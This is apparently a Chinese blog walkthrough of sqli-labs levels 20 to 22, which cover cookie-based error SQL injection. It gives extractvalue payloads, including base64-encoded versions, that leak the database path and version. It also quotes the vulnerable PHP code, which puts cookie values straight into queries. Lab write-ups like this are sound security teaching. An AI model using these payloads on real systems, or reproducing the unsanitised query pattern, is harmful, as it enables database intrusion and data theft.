我是靠谱客的博主 帅气心锁,这篇文章主要介绍Sqllibs-Less20-22-cookie注入20.Less20-Cookie Injection-Error Based21、Cookie Injection-Error Based22.Less22-Cookie Injection-Error Based-Double Quotes,现在分享给大家,希望可以做个参考。

文章目录

  • 20.Less20-Cookie Injection-Error Based
    • 20.1、注入分析
    • 20.2、代码分析
  • 21、Cookie Injection-Error Based
    • 21.1、注入分析
    • 21.2、代码分析
  • 22.Less22-Cookie Injection-Error Based-Double Quotes
    • 22.1、注入分析
    • 22.2、代码分析

20.Less20-Cookie Injection-Error Based

20.1、注入分析

有源码我们可知,当我们第一次输入username和password时,cookie从username中获得值;当我们再次刷新时,会从cookie中读取username,然后进行查询。
登录成功后,我们修改cookie,再次刷新时,这时候的sql语句就会被修改了。

报错显示数据库路径:
如下图,我们在tamper data(firefox插件)中,将cookie改为报错注入语句,然后不断地点击“OK”按钮,最后页面报错,显示了mysql数据库路径。
在这里插入图片描述

如下图,我们可以看见报错显示出来了mysql的路径。其他的数据请读者按照这个依次进行注入推导出来啦!
在这里插入图片描述

20.2、代码分析

复制代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
//如果cookie为空 $cookee = $_COOKIE['uname']; $format = 'D d M Y - H:i:s'; $timestamp = time() + 3600; echo "<center>"; echo '<br><br><br>'; echo '<img src="../images/Less-20.jpg" />'; echo "<br><br><b>"; echo '<br><font color= "red" font size="4">'; echo "YOUR USER AGENT IS : ".$_SERVER['HTTP_USER_AGENT']; echo "</font><br>"; echo '<font color= "cyan" font size="4">'; echo "YOUR IP ADDRESS IS : ".$_SERVER['REMOTE_ADDR']; echo "</font><br>"; echo '<font color= "#FFFF00" font size = 4 >'; echo "DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE <br>"; echo '<font color= "orange" font size = 5 >'; echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp); $sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1"; $result=mysql_query($sql); if (!$result) { die('Issue with your mysql: ' . mysql_error()); } $row = mysql_fetch_array($result); if($row) { echo '<font color= "pink" font size="5">'; echo 'Your Login name:'. $row['username']; echo "<br>"; echo '<font color= "grey" font size="5">'; echo 'Your Password:' .$row['password']; echo "</font></b>"; echo "<br>"; echo 'Your ID:' .$row['id']; }

21、Cookie Injection-Error Based

21.1、注入分析

这一关和上一关类似的,需要进行两次刷新,以下是刷新I前与刷新后的页面显示:
在这里插入图片描述
我们可以发现这里的从cookie进行了加密,尝试了编码之后我们可以发现。他只是进行一层base64加密。

类似于less20,这里的闭合方式为“单引号+括号”,剩下的只需要将注入语句进行base64加密即可。
在这里插入图片描述

在此给出一个payload,剩下的请读者自行脑补啦!

报错产生Mysql数据库的路径:

复制代码
1
2
3
4
5
admin') and extractvalue(1,concat(0x7e,(select @@basedir),0x7e)) and ('1')=('1 //进行base64加密后 YWRtaW4nKSBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBAQGJhc2VkaXIpLDB4N2UpKSBhbmQgKCcxJyk9KCcx

在这里插入图片描述
在这里插入图片描述

21.2、代码分析

复制代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp); $cookee = base64_decode($cookee); echo "<br></font>"; $sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1"; $result=mysql_query($sql); if (!$result) { die('Issue with your mysql: ' . mysql_error()); } $row = mysql_fetch_array($result); if($row) { echo '<font color= "pink" font size="5">'; echo 'Your Login name:'. $row['username']; echo "<br>"; echo '<font color= "grey" font size="5">'; echo 'Your Password:' .$row['password']; echo "</font></b>"; echo "<br>"; echo 'Your ID:' .$row['id']; }

22.Less22-Cookie Injection-Error Based-Double Quotes

22.1、注入分析

这一关与上一关是一样的,我们可以从源码得知,这里对cookie的闭合发生为双引号闭合。
在这里插入图片描述
类似于less20和less21,可以构造payload:

复制代码
1
2
3
4
5
amdin" and extractvalue(1,concat(0x7e,(select version()),0x7e)) and "1"="1 //base64编码后为 YW1kaW4iIGFuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IHZlcnNpb24oKSksMHg3ZSkpIGFuZCAiMSI9IjE=

运行结果如下:
在这里插入图片描述

22.2、代码分析

复制代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
$cookee = base64_decode($cookee); $cookee1 = '"'. $cookee. '"'; echo "<br></font>"; $sql="SELECT * FROM users WHERE username=$cookee1 LIMIT 0,1"; $result=mysql_query($sql); if (!$result) { die('Issue with your mysql: ' . mysql_error()); } $row = mysql_fetch_array($result); if($row) { echo '<font color= "pink" font size="5">'; echo 'Your Login name:'. $row['username']; echo "<br>"; echo '<font color= "grey" font size="5">'; echo 'Your Password:' .$row['password']; echo "</font></b>"; echo "<br>"; echo 'Your ID:' .$row['id']; } else { echo "<center>"; echo '<br><br><br>'; echo '<img src="../images/slap1.jpg" />'; echo "<br><br><b>"; //echo '<img src="../images/Less-20.jpg" />'; } echo '<center>'; echo '<form action="" method="post">'; echo '<input type="submit" name="submit" value="Delete Your Cookie!" />'; echo '</form>'; echo '</center>'; }

最后

以上就是帅气心锁最近收集整理的关于Sqllibs-Less20-22-cookie注入20.Less20-Cookie Injection-Error Based21、Cookie Injection-Error Based22.Less22-Cookie Injection-Error Based-Double Quotes的全部内容,更多相关Sqllibs-Less20-22-cookie注入20.Less20-Cookie内容请搜索靠谱客的其他文章。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(69)

评论列表共有 0 条评论

立即
投稿
返回
顶部